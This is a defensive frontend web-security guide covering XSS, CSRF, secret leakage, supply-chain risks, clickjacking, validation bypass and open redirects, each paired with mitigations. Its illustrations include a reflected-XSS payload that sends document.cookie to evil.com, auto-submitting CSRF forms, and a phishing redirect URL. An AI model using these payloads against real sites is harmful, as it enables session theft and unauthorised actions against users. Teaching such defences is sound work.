Steven's Knowledge
Troubleshooting

Security

Frontend security vulnerabilities, attack vectors, and defense strategies

Security Troubleshooting

Frontend security is often overlooked, but the browser is a primary attack surface. This guide covers common security vulnerabilities and professional defense strategies.


1. Cross-Site Scripting (XSS)

Problem

Attackers inject malicious scripts into your application:

// Reflected XSS — user input rendered as HTML
function SearchResults({ query }: { query: string }) {
  return <div dangerouslySetInnerHTML={{ __html: `Results for: ${query}` }} />;
  // URL: /search?q=<script>document.location='https://evil.com/steal?cookie='+document.cookie</script>
}

// DOM-based XSS — manipulating DOM directly
document.getElementById('output')!.innerHTML = userInput; // Dangerous!

Root Cause

  • Using dangerouslySetInnerHTML with unsanitized content
  • Direct DOM manipulation with innerHTML
  • Rendering user input without escaping
  • Third-party scripts with access to the page

Solution

React auto-escapes by default — leverage it:

// ✓ Safe — React escapes the string
function SearchResults({ query }: { query: string }) {
  return <div>Results for: {query}</div>;
  // <script> tags render as text, not executable code
}

When HTML rendering is necessary, sanitize:

import DOMPurify from 'dompurify';

function RichContent({ html }: { html: string }) {
  const sanitized = DOMPurify.sanitize(html, {
    ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p', 'br', 'ul', 'ol', 'li'],
    ALLOWED_ATTR: ['href', 'target', 'rel'],
  });

  return <div dangerouslySetInnerHTML={{ __html: sanitized }} />;
}

Content Security Policy (CSP):

<!-- Strict CSP — blocks inline scripts and unauthorized sources -->
<meta http-equiv="Content-Security-Policy" content="
  default-src 'self';
  script-src 'self' 'nonce-{random}';
  style-src 'self' 'unsafe-inline';
  img-src 'self' data: https:;
  connect-src 'self' https://api.example.com;
  font-src 'self';
  frame-ancestors 'none';
">
// Next.js CSP headers
// next.config.js
const securityHeaders = [
  {
    key: 'Content-Security-Policy',
    value: [
      "default-src 'self'",
      "script-src 'self'",
      "style-src 'self' 'unsafe-inline'",
      "img-src 'self' data: https:",
      "connect-src 'self' https://api.example.com",
      "frame-ancestors 'none'",
    ].join('; '),
  },
];

2. Cross-Site Request Forgery (CSRF)

Problem

An attacker tricks a user's browser into making authenticated requests:

<!-- On attacker's site -->
<img src="https://bank.com/transfer?to=attacker&amount=10000" />
<!-- Or -->
<form action="https://your-app.com/api/delete-account" method="POST">
  <input type="hidden" name="confirm" value="true" />
</form>
<script>document.forms[0].submit();</script>

Solution

CSRF tokens (server-side):

// Server generates token per session
// Client includes token in requests
async function submitForm(data: FormData) {
  const csrfToken = document.querySelector('meta[name="csrf-token"]')?.getAttribute('content');

  await fetch('/api/submit', {
    method: 'POST',
    headers: {
      'X-CSRF-Token': csrfToken ?? '',
      'Content-Type': 'application/json',
    },
    credentials: 'same-origin',
    body: JSON.stringify(data),
  });
}

SameSite cookies:

Set-Cookie: session=abc123; SameSite=Strict; Secure; HttpOnly; Path=/

Check Origin/Referer headers on the server for state-changing requests.


3. Sensitive Data Exposure in Client-Side Code

Problem

// ✗ API keys in client-side code
const API_KEY = 'sk-live-abc123def456';
fetch(`https://api.payment.com/charge?key=${API_KEY}`);

// ✗ Secrets in environment variables exposed to client
const secret = process.env.NEXT_PUBLIC_SECRET_KEY; // "NEXT_PUBLIC_" makes it client-side!

// ✗ Sensitive data in localStorage
localStorage.setItem('authToken', jwt);
localStorage.setItem('creditCard', '4111-1111-1111-1111');

Solution

Never store secrets in client-side code:

// ✓ Use server-side API routes as proxy
// app/api/payment/route.ts (server-side)
export async function POST(request: Request) {
  const { amount, token } = await request.json();

  const result = await fetch('https://api.payment.com/charge', {
    method: 'POST',
    headers: {
      Authorization: `Bearer ${process.env.PAYMENT_SECRET_KEY}`, // Server-only
    },
    body: JSON.stringify({ amount, token }),
  });

  return Response.json(await result.json());
}

Secure token storage:

// ✓ Use httpOnly cookies for authentication tokens (set by server)
// The browser sends them automatically, JavaScript can't access them

// If you must use client-side storage (e.g., for SPAs):
// - Use sessionStorage (cleared on tab close) over localStorage
// - Never store payment data or PII in browser storage
// - Consider in-memory storage for highly sensitive tokens

Audit client bundle for leaked secrets:

# Search for potential secrets in built output
npx secretlint "dist/**/*"

# Or use git pre-commit hooks
npx husky add .husky/pre-commit "npx secretlint '**/*'"

4. Insecure Third-Party Dependencies

Problem

  • Supply chain attacks (malicious package updates)
  • Typosquatting (e.g., react-dom vs reactdom)
  • Dependency confusion attacks
  • Compromised maintainer accounts

Solution

Lock file integrity:

# Verify package integrity
npm audit signatures

# Use lock file for deterministic installs
npm ci  # Fails if lock file is out of sync

Subresource Integrity (SRI) for CDN scripts:

<script
  src="https://cdn.example.com/library.js"
  integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC"
  crossorigin="anonymous"
></script>

Private registry for internal packages:

# .npmrc — prevent dependency confusion
@mycompany:registry=https://npm.mycompany.com/
//npm.mycompany.com/:_authToken=${NPM_TOKEN}

Socket.dev / Snyk for real-time supply chain monitoring.


5. Clickjacking — UI Redress Attacks

Problem

Your site is embedded in a malicious iframe that overlays invisible elements to trick users into clicking something different than what they see.

Solution

Prevent framing:

// HTTP Headers
{
  'X-Frame-Options': 'DENY',                    // Legacy browsers
  'Content-Security-Policy': "frame-ancestors 'none'"  // Modern browsers
}

If embedding is needed, restrict to trusted origins:

Content-Security-Policy: frame-ancestors 'self' https://trusted-partner.com

6. Insecure Communication

Problem

  • Mixed content (HTTP resources on HTTPS page)
  • API calls over HTTP
  • WebSocket connections without TLS
  • Missing security headers

Solution

Enforce HTTPS everywhere:

// Security headers
const headers = {
  'Strict-Transport-Security': 'max-age=63072000; includeSubDomains; preload',
  'X-Content-Type-Options': 'nosniff',
  'X-Frame-Options': 'DENY',
  'Referrer-Policy': 'strict-origin-when-cross-origin',
  'Permissions-Policy': 'camera=(), microphone=(), geolocation=(self)',
};

Detect and block mixed content:

<meta http-equiv="Content-Security-Policy" content="upgrade-insecure-requests">

7. Client-Side Validation Bypass

Problem

// Client-side only validation — easily bypassed via DevTools or curl
function handleSubmit(data: FormData) {
  if (data.amount > 1000) {
    alert('Amount too large');
    return;
  }
  fetch('/api/transfer', { method: 'POST', body: JSON.stringify(data) });
}
// Attacker: curl -X POST /api/transfer -d '{"amount": 999999}'

Root Cause

Client-side validation is for UX, not security. Any client-side check can be bypassed.

Solution

Always validate on the server — client validation is for UX only:

// Shared validation schema (used both client and server)
// lib/schemas.ts
import { z } from 'zod';

export const transferSchema = z.object({
  amount: z.number().positive().max(10000),
  recipient: z.string().uuid(),
  note: z.string().max(200).optional(),
});

// Client — for instant feedback
const { register, handleSubmit } = useForm({
  resolver: zodResolver(transferSchema),
});

// Server — for actual security
export async function POST(request: Request) {
  const body = await request.json();
  const result = transferSchema.safeParse(body);

  if (!result.success) {
    return Response.json({ errors: result.error.flatten() }, { status: 422 });
  }

  // Process validated data
  await processTransfer(result.data);
}

8. Open Redirect Vulnerabilities

Problem

// Attacker crafts URL: /login?redirect=https://evil.com/phishing
function LoginPage() {
  const redirect = new URLSearchParams(location.search).get('redirect');

  async function handleLogin(credentials: Credentials) {
    await login(credentials);
    window.location.href = redirect ?? '/dashboard'; // Redirects to attacker's site!
  }
}

Solution

Validate redirect URLs:

function safeRedirect(url: string, defaultUrl = '/dashboard'): string {
  // Only allow relative URLs or same-origin
  try {
    const parsed = new URL(url, window.location.origin);
    if (parsed.origin !== window.location.origin) {
      return defaultUrl; // Block external redirects
    }
    return parsed.pathname + parsed.search;
  } catch {
    return defaultUrl;
  }
}

// Usage
window.location.href = safeRedirect(redirect);

Summary: Frontend Security Checklist

VulnerabilityDefense
XSSCSP headers, DOMPurify, avoid innerHTML
CSRFCSRF tokens, SameSite cookies
Data exposureServer-side API proxy, httpOnly cookies
Supply chainLock files, npm audit, SRI, private registry
ClickjackingX-Frame-Options, frame-ancestors CSP
Mixed contentHSTS, upgrade-insecure-requests
Validation bypassServer-side validation (Zod shared schemas)
Open redirectURL origin validation, allowlist
Auth tokenshttpOnly secure cookies, not localStorage

On this page